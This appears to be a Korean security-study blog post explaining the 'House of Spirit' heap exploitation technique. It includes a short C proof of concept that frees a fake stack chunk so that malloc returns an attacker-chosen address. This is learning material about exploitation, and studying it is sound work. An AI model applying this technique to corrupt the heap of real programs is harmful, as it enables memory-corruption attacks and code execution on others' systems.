House of Spirit에 대한 것을 정리하고자 한다.
소스코드는 https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit.html에 있는 소스코드를 참조를 하였다.
House_of_Spirit.c
1. #include<stdio.h>
2.
3.
4. struct fast_chunk {
5. size_t prev_size;
6. size_t size;
7. struct fast_chunk *fd;
8. struct fast_chunk *bk;
9. char buf[0x20]; // chunk falls in fastbin size range
10. };
11. int main(){
12.
13. struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory
14. void *ptr, *victim;
15.
16. ptr = malloc(0x30); // First malloc
17.
18. // Passes size check of "free(): invalid size"
19. fake_chunks[0].size = sizeof(struct fast_chunk); // 0x40
20.
21. // Passes "free(): invalid next size (fast)"
22. fake_chunks[1].size = sizeof(struct fast_chunk); // 0x40
23.
24.
25. ptr = (void *)&fake_chunks[0].fd;
26.
27. free(ptr);
28.
29. victim = malloc(0x30);
30.
31. printf("fake_chunks : %p\n",&fake_chunks[0].fd);
32. printf("victim : %p\n",victim);
33. }
이와 같이 fake_chunks의 주소와 victim의 주소가 같은 것을 확인 할 수 있다.
'SYSTEM HACKING > 기법' 카테고리의 다른 글
Return to Csu (0) | 2020.04.26 |
---|---|
[How2Heap] House of Force (0) | 2018.03.08 |
[How2Heap] Fastbin dup into Stack (0) | 2018.01.28 |
Special Chapter-Double Stage Format String Bug (0) | 2018.01.01 |
DAY-8 FSB(Format String Bug) (0) | 2017.12.31 |